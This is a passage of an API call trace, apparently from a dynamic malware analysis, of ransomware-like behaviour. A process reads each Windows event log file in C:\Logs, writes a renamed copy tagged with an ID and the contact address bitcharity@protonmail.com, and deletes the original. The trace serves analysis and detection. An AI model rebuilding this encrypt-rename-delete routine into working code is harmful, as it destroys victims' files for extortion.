(lpString="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx") returned 82 [0148.950] lstrlenW (lpString=".dbf") returned 4 [0148.950] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0148.950] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx") returned 82 [0148.950] lstrlenW (lpString=".1cd") returned 4 [0148.950] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0148.950] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx") returned 82 [0148.950] lstrlenW (lpString=".jpg") returned 4 [0148.950] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0148.951] lstrcmpiW (lpString1=".evtx", lpString2=".com") returned 1 [0148.951] lstrlenW (lpString="Microsoft-Windows-SettingSync%4Operational.evtx") returned 47 [0148.951] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-settingsync%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10dc [0148.954] GetFileSizeEx (in: hFile=0x10dc, lpFileSize=0x2a0ff14 | out: lpFileSize=0x2a0ff14*=69632) returned 1 [0148.954] CloseHandle (hObject=0x10dc) returned 1 [0148.954] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-settingsync%4operational.evtx")) returned 0x20 [0148.954] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\logs\\microsoft-windows-settingsync%4operational.evtx.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0148.957] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-settingsync%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c0 [0148.957] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a0fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.957] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a0fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.957] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\logs\\microsoft-windows-settingsync%4operational.evtx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x108c [0148.958] GetLastError () returned 0x0 [0148.958] ReadFile (in: hFile=0x10c0, lpBuffer=0x349b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x349b020*, lpNumberOfBytesRead=0x2a0fecc*=0x11000, lpOverlapped=0x0) returned 1 [0149.034] WriteFile (in: hFile=0x108c, lpBuffer=0x349b020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x349b020*, lpNumberOfBytesWritten=0x2a0fc94*=0x11010, lpOverlapped=0x0) returned 1 [0149.228] ReadFile (in: hFile=0x10c0, lpBuffer=0x349b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x349b020*, lpNumberOfBytesRead=0x2a0fecc*=0x0, lpOverlapped=0x0) returned 1 [0149.229] WriteFile (in: hFile=0x108c, lpBuffer=0x349b020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x2a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x349b020*, lpNumberOfBytesWritten=0x2a0fc94*=0x132, lpOverlapped=0x0) returned 1 [0149.229] SetEndOfFile (hFile=0x108c) returned 1 [0149.229] CloseHandle (hObject=0x108c) returned 1 [0149.233] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a0fec0 | out: lpNewFilePointer=0x0) returned 1 [0149.233] SetEndOfFile (hFile=0x10c0) returned 1 [0149.235] CloseHandle (hObject=0x10c0) returned 1 [0149.235] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0149.235] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-settingsync%4operational.evtx")) returned 1 [0149.235] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx") returned 55 [0149.235] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx") returned 55 [0149.235] lstrlenW (lpString=".doc") returned 4 [0149.235] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0149.235] lstrlenW (lpString=".docx") returned 5 [0149.236] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0149.236] lstrlenW (lpString=".pdf") returned 4 [0149.236] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0149.236] lstrlenW (lpString=".xls") returned 4 [0149.236] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0149.236] lstrlenW (lpString=".xlsx") returned 5 [0149.236] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0149.236] lstrlenW (lpString=".ppt") returned 4 [0149.236] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0149.236] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx") returned 55 [0149.236] lstrlenW (lpString=".zip") returned 4 [0149.236] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0149.236] lstrlenW (lpString=".rar") returned 4 [0149.236] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0149.236] lstrlenW (lpString=".bz2") returned 4 [0149.236] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0149.236] lstrlenW (lpString=".7z") returned 3 [0149.236] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0149.236] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx") returned 55 [0149.236] lstrlenW (lpString=".dbf") returned 4 [0149.236] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0149.236] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx") returned 55 [0149.236] lstrlenW (lpString=".1cd") returned 4 [0149.236] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0149.236] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx") returned 55 [0149.236] lstrlenW (lpString=".jpg") returned 4 [0149.236] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0149.236] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx") returned 55 [0149.237] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx") returned 55 [0149.237] lstrlenW (lpString=".doc") returned 4 [0149.237] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0149.237] lstrlenW (lpString=".docx") returned 5 [0149.237] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0149.237] lstrlenW (lpString=".pdf") returned 4 [0149.237] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0149.237] lstrlenW (lpString=".xls") returned 4 [0149.237] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0149.237] lstrlenW (lpString=".xlsx") returned 5 [0149.237] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0149.237] lstrlenW (lpString=".ppt") returned 4 [0149.237] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0149.237] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx") returned 55 [0149.237] lstrlenW (lpString=".zip") returned 4 [0149.237] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0149.237] lstrlenW (lpString=".rar") returned 4 [0149.237] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0149.237] lstrlenW (lpString=".bz2") returned 4 [0149.237] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0149.237] lstrlenW (lpString=".7z") returned 3 [0149.237] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0149.237] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx") returned 55 [0149.237] lstrlenW (lpString=".dbf") returned 4 [0149.237] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0149.237] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx") returned 55 [0149.237] lstrlenW (lpString=".1cd") returned 4 [0149.237] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0149.237] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx") returned 55 [0149.237] lstrlenW (lpString=".jpg") returned 4 [0149.237] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0149.238] lstrcmpiW (lpString1=".evtx", lpString2=".com") returned 1 [0149.238] lstrlenW (lpString="Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned 47 [0149.238] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx" (normalized: "c:\\logs\\microsoft-windows-shell-core%4actioncenter.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c0 [0149.238] GetFileSizeEx (in: hFile=0x10c0, lpFileSize=0x2a0ff14 | out: lpFileSize=0x2a0ff14*=69632) returned 1 [0149.238] CloseHandle (hObject=0x10c0) returned 1 [0149.238] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx" (normalized: "c:\\logs\\microsoft-windows-shell-core%4actioncenter.evtx")) returned 0x20 [0149.238] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\logs\\microsoft-windows-shell-core%4actioncenter.evtx.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0149.238] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx" (normalized: "c:\\logs\\microsoft-windows-shell-core%4actioncenter.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c0 [0149.239] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a0fec0 | out: lpNewFilePointer=0x0) returned 1 [0149.239] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a0fec0 | out: lpNewFilePointer=0x0) returned 1 [0149.239] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\logs\\microsoft-windows-shell-core%4actioncenter.evtx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x108c [0149.239] GetLastError () returned 0x0 [0149.239] ReadFile (in: hFile=0x10c0, lpBuffer=0x349b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x349b020*, lpNumberOfBytesRead=0x2a0fecc*=0x11000, lpOverlapped=0x0) returned 1 [0149.294] WriteFile (in: hFile=0x108c, lpBuffer=0x349b020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x349b020*, lpNumberOfBytesWritten=0x2a0fc94*=0x11010, lpOverlapped=0x0) returned 1 [0149.296] ReadFile (in: hFile=0x10c0, lpBuffer=0x349b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x349b020*, lpNumberOfBytesRead=0x2a0fecc*=0x0, lpOverlapped=0x0) returned 1 [0149.296] WriteFile (in: hFile=0x108c, lpBuffer=0x349b020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x2a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x349b020*, lpNumberOfBytesWritten=0x2a0fc94*=0x132, lpOverlapped=0x0) returned 1 [0149.296] SetEndOfFile (hFile=0x108c) returned 1 [0149.341] CloseHandle (hObject=0x108c) returned 1 [0149.345] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a0fec0 | out: lpNewFilePointer=0x0) returned 1 [0149.345] SetEndOfFile (hFile=0x10c0) returned 1 [0149.346] CloseHandle (hObject=0x10c0) returned 1 [0149.347] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0149.347] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx" (normalized: "c:\\logs\\microsoft-windows-shell-core%4actioncenter.evtx")) returned 1 [0149.348] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned 55 [0149.348] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned 55 [0149.348] lstrlenW (lpString=".doc") returned 4 [0149.348] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0149.348] lstrlenW (lpString=".docx") returned 5 [0149.348] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0149.348] lstrlenW (lpString=".pdf") returned 4 [0149.348] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0149.348] lstrlenW (lpString=".xls") returned 4 [0149.348] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0149.349] lstrlenW (lpString=".xlsx") returned 5 [0149.349] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0149.349] lstrlenW (lpString=".ppt") returned 4 [0149.349] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0149.349] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned 55 [0149.349] lstrlenW (lpString=".zip") returned 4 [0149.349] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0149.349] lstrlenW (lpString=".rar") returned 4 [0149.349] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0149.349] lstrlenW (lpString=".bz2") returned 4 [0149.349] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0149.349] lstrlenW (lpString=".7z") returned 3 [0149.349] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0149.350] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned 55 [0149.350] lstrlenW (lpString=".dbf") returned 4 [0149.350] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0149.350] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned 55 [0149.350] lstrlenW (lpString=".1cd") returned 4 [0149.350] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0149.350] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned 55 [0149.350] lstrlenW (lpString=".jpg") returned 4 [0149.350] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0149.350] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned 55 [0149.350] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned 55 [0149.350] lstrlenW (lpString=".doc") returned 4 [0149.350] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0149.350] lstrlenW (lpString=".docx") returned 5 [0149.350] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0149.350] lstrlenW (lpString=".pdf") returned 4 [0149.350] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0149.350] lstrlenW (lpString=".xls") returned 4 [0149.350] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0149.350] lstrlenW (lpString=".xlsx") returned 5 [0149.350] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0149.350] lstrlenW (lpString=".ppt") returned 4 [0149.350] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0149.350] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned 55 [0149.350] lstrlenW (lpString=".zip") returned 4 [0149.350] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0149.350] lstrlenW (lpString=".rar") returned 4 [0149.350] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0149.351] lstrlenW (lpString=".bz2") returned 4 [0149.351] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0149.351] lstrlenW (lpString=".7z") returned 3 [0149.351] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0149.351] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned 55 [0149.351] lstrlenW (lpString=".dbf") returned 4 [0149.351] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0149.351] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned 55 [0149.351] lstrlenW (lpString=".1cd") returned 4 [0149.351] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0149.351] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned 55 [0149.351] lstrlenW (lpString=".jpg") returned 4 [0149.351] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0149.351] lstrcmpiW (lpString1=".evtx", lpString2=".com") returned 1 [0149.351] lstrlenW (lpString="Microsoft-Windows-SmbClient%4Connectivity.evtx") returned 46 [0149.351] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4connectivity.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c0 [0149.352] GetFileSizeEx (in: hFile=0x10c0, lpFileSize=0x2a0ff14 | out: lpFileSize=0x2a0ff14*=69632) returned 1 [0149.352] CloseHandle (hObject=0x10c0) returned 1 [0149.352] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4connectivity.evtx")) returned 0x20 [0149.352] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\logs\\microsoft-windows-smbclient%4connectivity.evtx.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0149.352] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4connectivity.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c0 [0149.352] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a0fec0 | out: lpNewFilePointer=0x0) returned 1 [0149.352] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a0fec0 | out: lpNewFilePointer=0x0) returned 1 [0149.352] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\logs\\microsoft-windows-smbclient%4connectivity.evtx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x108c [0149.353] GetLastError () returned 0x0 [0149.353] ReadFile (in: hFile=0x10c0, lpBuffer=0x349b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x349b020*, lpNumberOfBytesRead=0x2a0fecc*=0x11000, lpOverlapped=0x0) returned 1 [0149.384] WriteFile (in: hFile=0x108c, lpBuffer=0x349b020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x349b020*, lpNumberOfBytesWritten=0x2a0fc94*=0x11010, lpOverlapped=0x0) returned 1 [0149.386] ReadFile (in: hFile=0x10c0, lpBuffer=0x349b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x349b020*, lpNumberOfBytesRead=0x2a0fecc*=0x0, lpOverlapped=0x0) returned 1 [0149.386] WriteFile (in: hFile=0x108c, lpBuffer=0x349b020*, nNumberOfBytesToWrite=0x130, lpNumberOfBytesWritten=0x2a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x349b020*, lpNumberOfBytesWritten=0x2a0fc94*=0x130, lpOverlapped=0x0) returned 1 [0149.387] SetEndOfFile (hFile=0x108c) returned 1 [0149.387] CloseHandle (hObject=0x108c) returned 1 [0149.396] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a0fec0 | out: lpNewFilePointer=0x0) returned 1 [0149.396] SetEndOfFile (hFile=0x10c0) returned 1 [0149.397] CloseHandle (hObject=0x10c0) returned 1 [0149.398] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0149.398] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4connectivity.evtx")) returned 1 [0149.398] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx") returned 54 [0149.398] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx") returned 54 [0149.398] lstrlenW (lpString=".doc") returned 4 [0149.398] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0149.398] lstrlenW (lpString=".docx") returned 5 [0149.398] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0149.398] lstrlenW (lpString=".pdf") returned 4 [0149.399] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0149.399] lstrlenW (lpString=".xls") returned 4 [0149.399] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0149.399] lstrlenW (lpString=".xlsx") returned 5 [0149.399] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0149.399] lstrlenW (lpString=".ppt") returned 4 [0149.399] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0149.399] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx") returned 54 [0149.399] lstrlenW (lpString=".zip") returned 4 [0149.399] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0149.399] lstrlenW (lpString=".rar") returned 4 [0149.399] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0149.399] lstrlenW (lpString=".bz2") returned 4 [0149.399] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0149.399] lstrlenW (lpString=".7z") returned 3 [0149.399] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0149.399] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx") returned 54 [0149.399] lstrlenW (lpString=".dbf") returned 4 [0149.399] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0149.399] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx") returned 54 [0149.399] lstrlenW (lpString=".1cd") returned 4 [0149.399] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0149.399] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx") returned 54 [0149.400] lstrlenW (lpString=".jpg") returned 4 [0149.400] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0149.400] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx") returned 54 [0149.400] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx") returned 54 [0149.400] lstrlenW (lpString=".doc") returned 4 [0149.400] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0149.400] lstrlenW (lpString=".docx") returned 5 [0149.400] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0149.400] lstrlenW (lpString=".pdf") returned 4 [0149.400] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0149.400] lstrlenW (lpString=".xls") returned 4 [0149.400] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0149.400] lstrlenW (lpString=".xlsx") returned 5 [0149.400] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0149.400] lstrlenW (lpString=".ppt") returned 4 [0149.400] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0149.400] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx") returned 54 [0149.400] lstrlenW (lpString=".zip") returned 4 [0149.400] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0149.400] lstrlenW (lpString=".rar") returned 4 [0149.400] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0149.400] lstrlenW (lpString=".bz2") returned 4 [0149.400] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0149.400] lstrlenW (lpString=".7z") returned 3 [0149.400] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0149.400] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx") returned 54 [0149.400] lstrlenW (lpString=".dbf") returned 4 [0149.400] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0149.401] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx") returned 54 [0149.401] lstrlenW (lpString=".1cd") returned 4 [0149.401] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0149.401] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx") returned 54 [0149.401] lstrlenW (lpString=".jpg") returned 4 [0149.401] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0149.401] lstrcmpiW (lpString1=".evtx", lpString2=".com") returned 1 [0149.401] lstrlenW (lpString="Microsoft-Windows-SmbClient%4Security.evtx") returned 42 [0149.401] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4security.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10e8 [0150.326] GetFileSizeEx (in: hFile=0x10e8, lpFileSize=0x2a0ff14 | out: lpFileSize=0x2a0ff14*=69632) returned 1 [0150.326] CloseHandle (hObject=0x10e8) returned 1 [0150.326] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4security.evtx")) returned 0x20 [0150.326] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\logs\\microsoft-windows-smbclient%4security.evtx.id-b4197730.[bitcharity@protonmail.com].com")) returned 